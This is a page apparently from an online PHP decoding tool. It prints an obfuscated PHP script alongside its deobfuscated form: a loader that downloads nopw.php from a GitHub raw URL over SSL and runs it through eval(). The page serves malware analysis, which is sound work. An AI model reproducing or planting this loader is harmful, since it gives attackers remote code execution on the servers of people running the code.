Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4cO\x42A\x4cS"}["\x79wpw\x62\x6a"]="co\x6et\x65nt";${"\x47L\x4fB\x41\x4c\x53"}..

Decoded Output download

<?php ${"GLOBALS"}["ywpwbj"]="content";${"GLOBALS"}["ruqhwoixi"]="out";${"GLOBALS"}["mwiqglaifsi"]="errno";${"GLOBALS"}["dnjhlezvvm"]="fp";${"GLOBALS"}["rwueqxkby"]="path";${"GLOBALS"}["dsgugac"]="port";$host="raw.githubusercontent.com";$vobpopp="errstr";${${"GLOBALS"}["dsgugac"]}=443;${${"GLOBALS"}["rwueqxkby"]}="/ONEJACK/a/main/nopw.php";${${"GLOBALS"}["dnjhlezvvm"]}=stream_socket_client("ssl://$host:$port",${${"GLOBALS"}["mwiqglaifsi"]},${$vobpopp},30);if(!${${"GLOBALS"}["dnjhlezvvm"]}){echo"Error: $errstr ($errno)<br />
";}else{${"GLOBALS"}["jzkmgbgyhic"]="out";${${"GLOBALS"}["ruqhwoixi"]}="GET $path HTTP/1.1
";${${"GLOBALS"}["jzkmgbgyhic"]}.="Host: $host
";$enkgdamsp="out";${${"GLOBALS"}["ruqhwoixi"]}.="Connection: Close

";fwrite(${${"GLOBALS"}["dnjhlezvvm"]},${$enkgdamsp});${${"GLOBALS"}["ywpwbj"]}="";while(!feof(${${"GLOBALS"}["dnjhlezvvm"]})){$idtywktewxj="content";${$idtywktewxj}.=fgets(${${"GLOBALS"}["dnjhlezvvm"]},128);}$xwseeucb="header_end";$ujjeycyqx="header_end";fclose(${${"GLOBALS"}["dnjhlezvvm"]});${$xwseeucb}=strpos(${${"GLOBALS"}["ywpwbj"]},"

");if(${$ujjeycyqx}!==false){$doyowakdp="header_end";${"GLOBALS"}["scyqlpwdgj"]="content";${${"GLOBALS"}["scyqlpwdgj"]}=substr(${${"GLOBALS"}["ywpwbj"]},${$doyowakdp}+4);}eval("?>".${${"GLOBALS"}["ywpwbj"]});}

Did this file decode correctly?

Original Code

<?php ${"G\x4cO\x42A\x4cS"}["\x79wpw\x62\x6a"]="co\x6et\x65nt";${"\x47L\x4fB\x41\x4c\x53"}["\x72uqhw\x6f\x69\x78\x69"]="\x6fu\x74";${"GL\x4f\x42\x41\x4c\x53"}["\x6d\x77\x69qg\x6c\x61i\x66s\x69"]="e\x72\x72\x6e\x6f";${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x6e\x6a\x68l\x65\x7a\x76\x76\x6d"]="\x66\x70";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72wu\x65\x71\x78\x6b\x62y"]="\x70a\x74\x68";${"G\x4c\x4fBA\x4c\x53"}["d\x73\x67\x75\x67\x61\x63"]="\x70\x6frt";$host="\x72a\x77.gi\x74hubus\x65\x72con\x74ent\x2e\x63\x6fm";$vobpopp="\x65r\x72str";${${"GLOB\x41L\x53"}["\x64\x73\x67\x75\x67\x61c"]}=443;${${"\x47\x4cO\x42\x41LS"}["\x72\x77ueqx\x6b\x62\x79"]}="/\x4f\x4eE\x4a\x41\x43\x4b/\x61/\x6dai\x6e/\x6eo\x70w.p\x68\x70";${${"\x47L\x4f\x42\x41L\x53"}["\x64\x6ej\x68l\x65z\x76v\x6d"]}=stream_socket_client("s\x73l://$host:$port",${${"G\x4cO\x42\x41\x4c\x53"}["m\x77i\x71\x67\x6c\x61if\x73\x69"]},${$vobpopp},30);if(!${${"GL\x4f\x42A\x4c\x53"}["\x64\x6e\x6a\x68\x6ce\x7a\x76\x76\x6d"]}){echo"\x45rr\x6fr:\x20$errstr ($errno)\x3cbr /\x3e\n";}else{${"G\x4c\x4fB\x41\x4c\x53"}["j\x7akm\x67\x62\x67y\x68\x69c"]="\x6fu\x74";${${"G\x4cO\x42\x41L\x53"}["r\x75q\x68\x77o\x69\x78\x69"]}="G\x45\x54\x20$path \x48\x54\x54\x50/\x31\x2e1\r\n";${${"GL\x4f\x42AL\x53"}["j\x7a\x6bmg\x62\x67yh\x69\x63"]}.="\x48\x6f\x73t:\x20$host\r\n";$enkgdamsp="\x6f\x75\x74";${${"\x47\x4c\x4fB\x41L\x53"}["\x72\x75\x71\x68woi\x78\x69"]}.="\x43o\x6e\x6ee\x63ti\x6f\x6e:\x20\x43\x6cos\x65\r\n\r\n";fwrite(${${"\x47\x4c\x4f\x42A\x4c\x53"}["d\x6e\x6a\x68le\x7a\x76\x76\x6d"]},${$enkgdamsp});${${"\x47\x4cO\x42\x41L\x53"}["\x79w\x70\x77\x62\x6a"]}="";while(!feof(${${"G\x4cO\x42\x41\x4c\x53"}["\x64\x6e\x6ah\x6c\x65zvv\x6d"]})){$idtywktewxj="\x63\x6f\x6e\x74en\x74";${$idtywktewxj}.=fgets(${${"\x47\x4c\x4fBA\x4c\x53"}["d\x6e\x6ahle\x7a\x76\x76m"]},128);}$xwseeucb="\x68\x65\x61d\x65r\x5f\x65\x6ed";$ujjeycyqx="\x68ea\x64\x65\x72\x5f\x65nd";fclose(${${"GLO\x42\x41\x4c\x53"}["\x64n\x6ahl\x65\x7av\x76m"]});${$xwseeucb}=strpos(${${"\x47\x4c\x4fB\x41L\x53"}["y\x77\x70\x77bj"]},"\r\n\r\n");if(${$ujjeycyqx}!==false){$doyowakdp="\x68e\x61d\x65r\x5f\x65\x6ed";${"G\x4c\x4fBA\x4c\x53"}["\x73cyql\x70\x77\x64\x67\x6a"]="\x63\x6f\x6e\x74\x65\x6e\x74";${${"\x47\x4c\x4fBA\x4c\x53"}["s\x63\x79\x71\x6c\x70\x77\x64\x67\x6a"]}=substr(${${"\x47\x4c\x4fB\x41L\x53"}["y\x77\x70\x77\x62\x6a"]},${$doyowakdp}+4);}eval("?>".${${"GL\x4f\x42A\x4c\x53"}["y\x77\x70\x77b\x6a"]});}

Function Calls

stream_socket_client 1

Variables

path /ONEJACK/a/main/nopw.php
port 443
$host raw.githubusercontent.com
GLOBALS [{'key': 'ywpwbj', 'value': 'content'}, {'key': 'ruqhwoixi', 'value': 'out'}, {'key': 'mwiqglaifsi', 'value': 'errno'}, {'key': 'dnjhlezvvm', 'value': 'fp'}, {'key': 'rwueqxkby', 'value': 'path'}, {'key': 'dsgugac', 'value': 'port'}]
$vobpopp errstr

Stats

MD5 dd6b83d57dfd08101e5f2d43c7293271
Eval Count 0
Decode Time 48 ms